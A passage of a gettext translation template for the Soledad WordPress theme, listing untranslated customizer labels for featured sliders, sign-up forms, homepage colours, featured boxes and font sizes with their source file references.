#: inc/customizer/config/sections/penci_section_fslider_general_section.php:423
#: inc/js_composer/soledad_vc.php:925
msgid "Featured Category"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:424
msgid "Featured Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:430
msgid "Select Featured Category"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:432
msgid "Just apply when you select filter by Featured Category above"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:450
msgid "Fill List Featured Tags for Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:452
msgid ""
"Just apply when you select filter by Featured Tags above. And please fill "
"list featured tags slug here, check <a class=\"wp-customizer-link\" "
"rel=\"nofollow\" href=\"https://soledad.pencidesign.net/soledad-document/"
"images/tags.png\" target=\"_blank\">this image</a> to know what is tags "
"slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:458
msgid "Hide Featured Category"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:460
msgid "Check this if you want the featured category to be hide on all pages."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:466
msgid "Exclude All Posts on the Featured Slider in Latest Posts on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:467
msgid "Let view your site outside customize page to see the changes."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:474
#: inc/js_composer/shortcodes/featured_slider/settings.php:96
msgid "Hide Center Box on Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:481
msgid "Turn off Uppercase of Heading/Post Titles on Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:488
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:86
#: inc/customizer/config/sections/penci_section_spost_general_section.php:361
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:77
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:393
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:113
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:238
#: inc/js_composer/shortcodes/featured_slider/settings.php:108
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:234
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:98
#: inc/js_composer/soledad_vc.php:257 inc/js_composer/soledad_vc.php:641
#: inc/js_composer/soledad_vc.php:1217
msgid "Hide Post Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:495
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:119
#: inc/js_composer/shortcodes/featured_slider/settings.php:114
msgid "Hide Categories Of Post"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:503
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:122
#: inc/js_composer/shortcodes/featured_slider/settings.php:120
msgid "Display Categories for all Posts on Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:505
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:123
msgid ""
"By default, we disabled categories for some slider styles & some small posts "
"- this option will help you show it if you want."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:511
#: inc/customizer/config/sections/penci_section_spost_general_section.php:376
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:84
#: inc/js_composer/soledad_vc.php:267
msgid "Hide Comment Count"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:518
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:400
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:129
#: inc/js_composer/shortcodes/featured_slider/settings.php:133
msgid "Show Post Author"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:525
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:132
#: inc/js_composer/soledad_vc.php:1255
msgid "Hide Post Excerpt"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:527
msgid "Apply for some slider styles has post excerpt."
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:534
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:136
#: inc/js_composer/shortcodes/featured_slider/settings.php:146
msgid "Hide Post Format Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_fslider_general_section.php:541
msgid "Add Google Adsense/Custom HTML Code Below Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:6
msgid "Move Header Sign-Up Form To Below Featured Slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:8
msgid ""
"If you using Sign-Up form on the header, this option will help you move Sign-"
"Up form to below the featured slider"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:14
msgid "Make Header Sign-Up Form Below Featured Slider Full Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:21
msgid "Display Header Sign-Up Form only on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:28
msgid "Header Sign-Up Form Padding Top & Bottom"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:48
msgid "Font Size for Description on Sign-Up Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:67
msgid "Font Size for Text on \"Name\" & \"Email\" fields"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:87
msgid "Font Size for \"Subscrible\" button"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:108
msgid "Header Sign-Up Form Area Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:122
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:128
#: inc/js_composer/shortcodes/login_form/settings.php:62
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:219
msgid "Input Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:129
#: inc/js_composer/shortcodes/login_form/settings.php:48
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:212
msgid "Input Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:136
#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:49
msgid "Submit Button Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:143
#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:63
msgid "Submit Button Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:150
#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:56
msgid "Submit Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_header_signupform_section.php:157
#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:70
msgid "Submit Button Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:5
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:5
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:191
msgid "Featured Boxes"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:13
msgid "Featured Boxes Border & Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:20
msgid "Featured Boxes Title Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:27
msgid "Featured Boxes Accent Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:32
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:31
#: inc/customizer/default.php:42
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:134
#: inc/gutenberg/block/popular-posts/index.php:30
#: inc/js_composer/soledad_vc.php:1649 inc/widgets/popular_post_widget.php:35
#: inc/widgets/popular_post_widget.php:37
#: inc/widgets/popular_post_widget.php:454
msgid "Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:40
msgid "Home Popular Posts Heading Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:47
msgid "Home Popular Posts Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:54
msgid "Home Popular Post Titles Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:61
msgid "Home Popular Post Titles Post Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:68
msgid "Home Popular Post Date Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:81
msgid "Home Title Box Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:88
msgid "Home Title Box Background Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:95
msgid "Home Title Box Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:102
msgid "Home Title Box Border Outer Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:109
msgid "Custom Color for Border Bottom on Home Title Box Style 5, 10, 11, 12"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:116
msgid ""
"Custom Color for Small Border Bottom on Home Title Box Style 7 & Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:123
msgid "Custom Color for Border Top on Home Title Box Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:130
msgid "Custom Color for Background Shapes Home Title Box Style 11, 12, 13"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:158
msgid "Home Title Box Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:171
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:20
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:96
msgid "Post Titles Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:178
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:27
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:103
msgid "Post Titles Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:185
msgid "Post Titles Color For Style 3, Style 4, Style 11, Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:192
msgid "Post Titles Hover Color For Style 3, Style 4, Style 11, Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:206
msgid "Posts Meta Color For Style 3, Style 4, Style 11, Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:213
msgid "Color for Links on Post Meta"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:220
msgid "Text Color for \"View All\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:227
msgid "Background Color for \"View All\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:241
msgid "Posts Overlay Background Color For Style 3 & Style 11"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:247
msgid "Posts Overlay Opacity For Style 3 & Style 11"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_colors_section.php:277
msgid "Posts Overlay Opacity on Hover For Style 3 & Style 11"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:6
msgid "Hide Home Featured Boxes"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:13
msgid "Enable Home Featured Boxes Style 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:20
msgid "Enable Home Featured Boxes Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:27
msgid "Custom Font Weight for Text on Featured Boxes"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:38
msgid "Home Featured Boxes Columns"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:42
#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:12
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:330
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:357
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:229
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:264
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:276
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:303
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:126
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:100
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:116
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:129
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:174
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:190
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:203
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:70
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:55
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:78
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:394
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:118
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:132
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:146
#: inc/gutenberg/block/featured-boxes/index.js:53
#: inc/gutenberg/block/popular-posts/index.js:46
#: inc/gutenberg/block/portfolio/index.js:61
#: inc/gutenberg/block/recipe-index/index.js:40
#: inc/js_composer/shortcodes/big_grid/settings.php:72
#: inc/js_composer/shortcodes/big_grid/settings.php:88
#: inc/js_composer/shortcodes/big_grid/settings.php:101
#: inc/js_composer/shortcodes/product/settings.php:154
#: inc/js_composer/shortcodes/product/settings.php:169
#: inc/js_composer/shortcodes/product/settings.php:184
#: inc/js_composer/shortcodes/product_brand/settings.php:102
#: inc/js_composer/shortcodes/product_brand/settings.php:118
#: inc/js_composer/shortcodes/product_tabs/settings.php:102
#: inc/js_composer/shortcodes/product_tabs/settings.php:117
#: inc/js_composer/shortcodes/product_tabs/settings.php:132
#: inc/js_composer/shortcodes/social_counter/settings.php:218
#: inc/js_composer/shortcodes/social_counter/settings.php:231
#: inc/js_composer/shortcodes/social_counter/settings.php:244
#: inc/widgets/social_counter.php:379 inc/widgets/social_counter.php:391
#: inc/widgets/social_counter.php:404
msgid "3 Columns"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:43
#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:13
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:331
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:358
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:230
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:265
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:277
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:304
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:101
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:117
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:175
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:191
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:71
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:54
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:395
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:119
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:133
#: inc/gutenberg/block/featured-boxes/index.js:54
#: inc/gutenberg/block/popular-posts/index.js:45
#: inc/gutenberg/block/recipe-index/index.js:41
#: inc/js_composer/shortcodes/big_grid/settings.php:73
#: inc/js_composer/shortcodes/big_grid/settings.php:89
#: inc/js_composer/shortcodes/product/settings.php:155
#: inc/js_composer/shortcodes/product/settings.php:170
#: inc/js_composer/shortcodes/product/settings.php:185
#: inc/js_composer/shortcodes/product_brand/settings.php:103
#: inc/js_composer/shortcodes/product_brand/settings.php:119
#: inc/js_composer/shortcodes/product_tabs/settings.php:103
#: inc/js_composer/shortcodes/product_tabs/settings.php:118
#: inc/js_composer/shortcodes/product_tabs/settings.php:133
#: inc/js_composer/shortcodes/social_counter/settings.php:219
#: inc/js_composer/shortcodes/social_counter/settings.php:232
#: inc/js_composer/shortcodes/social_counter/settings.php:245
#: inc/widgets/social_counter.php:380 inc/widgets/social_counter.php:392
msgid "4 Columns"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:49
msgid "Home Featured Boxes Size Type"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:53
#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:18
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:17
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:82
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:215
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:378
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:75
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:60
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:57
#: inc/gutenberg/block/featured-boxes/index.js:58
#: inc/template-builder/archive-elements/posts.php:390
msgid "Horizontal Size"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:54
#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:19
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:18
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:83
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:216
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:379
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:76
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:61
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:58
#: inc/gutenberg/block/featured-boxes/index.js:59
#: inc/template-builder/archive-elements/posts.php:391
msgid "Square Size"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:55
#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:20
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:19
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:84
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:217
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:380
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:77
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:62
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:59
#: inc/gutenberg/block/featured-boxes/index.js:60
#: inc/template-builder/archive-elements/posts.php:392
msgid "Vertical Size"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:61
msgid "Open Home Featured Boxes in New Tab"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:67
msgid "Homepage Featured Box 1st Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:74
msgid "Homepage Featured Box 1st Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:80
msgid "Homepage Featured Box 1st URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:86
msgid "Homepage Featured Box 2nd Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:93
msgid "Homepage Featured Box 2nd Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:99
msgid "Homepage Featured Box 2nd URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:105
msgid "Homepage Featured Box 3rd Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:112
msgid "Homepage Featured Box 3rd Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:118
msgid "Homepage Featured Box 3rd URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:124
msgid "Homepage Featured Box 4th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:131
msgid "Homepage Featured Box 4th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:137
msgid "Homepage Featured Box 4th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:143
msgid "Homepage Featured Box 5th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:150
msgid "Homepage Featured Box 5th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:156
msgid "Homepage Featured Box 5th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:162
msgid "Homepage Featured Box 6th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:169
msgid "Homepage Featured Box 6th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:175
msgid "Homepage Featured Box 6th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:181
msgid "Homepage Featured Box 7th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:188
msgid "Homepage Featured Box 7th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:194
msgid "Homepage Featured Box 7th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:200
msgid "Homepage Featured Box 8th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:207
msgid "Homepage Featured Box 8th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:213
msgid "Homepage Featured Box 8th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:219
msgid "Homepage Featured Box 9th Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:226
msgid "Homepage Featured Box 9th Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_boxes_section.php:232
msgid "Homepage Featured Box 9th URL"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:6
msgid "List Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:8
msgid ""
"By default, this option apply only for Homepage Magazine(style 1 and style "
"2) layout, copy and paste categories slug you want display above Latest "
"Posts here - check <a class=\"wp-customizer-link\" rel=\"nofollow\" "
"href=\"https://imgresources.s3.amazonaws.com/magazine-2.png\" "
"target=\"_blank\">this image</a> to understand what is categories slug. "
"Example: You want display categories \"Life Style, Travel, Music\" above "
"Latest Posts, fill categories slug like \"life-style, travel, music\""
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:14
msgid ""
"Enable Featured Categories for All Homepage Layouts - Not for Magazine "
"Layouts Only"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:21
msgid "Move Latest Posts To Above Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:28
msgid "Remove Border Bottom Between Post Items"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:35
msgid "Enable Post Meta Overlay Featured Image for Featured Category Style 7"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:42
msgid "Show Thumbnail for Small Posts on Featured Category Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:50
msgid "Custom Space Between Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:70
msgid "Custom Image Width on Small Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:88
msgid "Hide Post Author on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:95
#: inc/js_composer/soledad_vc.php:1189
msgid "Show Post Author on Small Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:96
msgid ""
"You can check <a class=\"wp-customizer-link\" href=\"https://imgresources.s3."
"amazonaws.com/small-posts.png\" target=\"_blank\">this image</a> to know "
"where is the \"Small Posts\""
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:103
msgid "Hide Post Date on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:110
msgid "Show Comment Count on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:117
msgid "Show Views Count on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:124
msgid "Hide Reading Time on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:131
msgid "Enable Post Format Icons on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:138
msgid "Enable \"View All\" link for Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:145
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:346
#: inc/js_composer/soledad_vc.php:1312
msgid "Remove arrow on \"View All\""
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:152
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:351
#: inc/js_composer/soledad_vc.php:1322
msgid "Make \"View All\" is A Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:159
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:356
#: inc/js_composer/soledad_vc.php:1332
msgid "Align \"View All\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:171
msgid "Remove Posts Excerpt on Featured Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:178
#: inc/js_composer/soledad_vc.php:1264
msgid "Disable Autoplay for Sliders on Style 4, 5, 12"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:186
msgid "Amount of Posts Display on Style 1"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:206
msgid "Amount of Posts Display on Style 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:226
msgid "Amount of Posts Display on Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:246
msgid "Amount of Posts Display on Style 4"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:266
msgid "Amount of Posts Display on Style 5"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:286
msgid "Amount of Posts Display on Style 6"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:306
msgid "Amount of Posts Display on Style 7"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:326
msgid "Amount of Posts Display on Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:346
msgid "Amount of Posts Display on Style 9"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:366
msgid "Amount of Posts Display on Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:386
msgid "Amount of Posts Display on Style 11"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:406
msgid "Amount of Posts Display on Style 12"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:426
msgid "Amount of Posts Display on Style 13"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:446
msgid "Amount of Posts Display on Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:466
msgid "Amount of Posts Display on Style 15"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:13
msgid "Font Size for Text on Featured Boxes"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:39
#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:69
msgid "Font Size for \"Popular Posts\" heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:75
msgid "Font Size for Post Titles on Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:95
msgid "Font Size for Post Date on Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:121
msgid "Font Size for Home Title Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:146
msgid "Font Size for Categories on Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:166
msgid "Include author name, date, comment count"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:186
#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:118
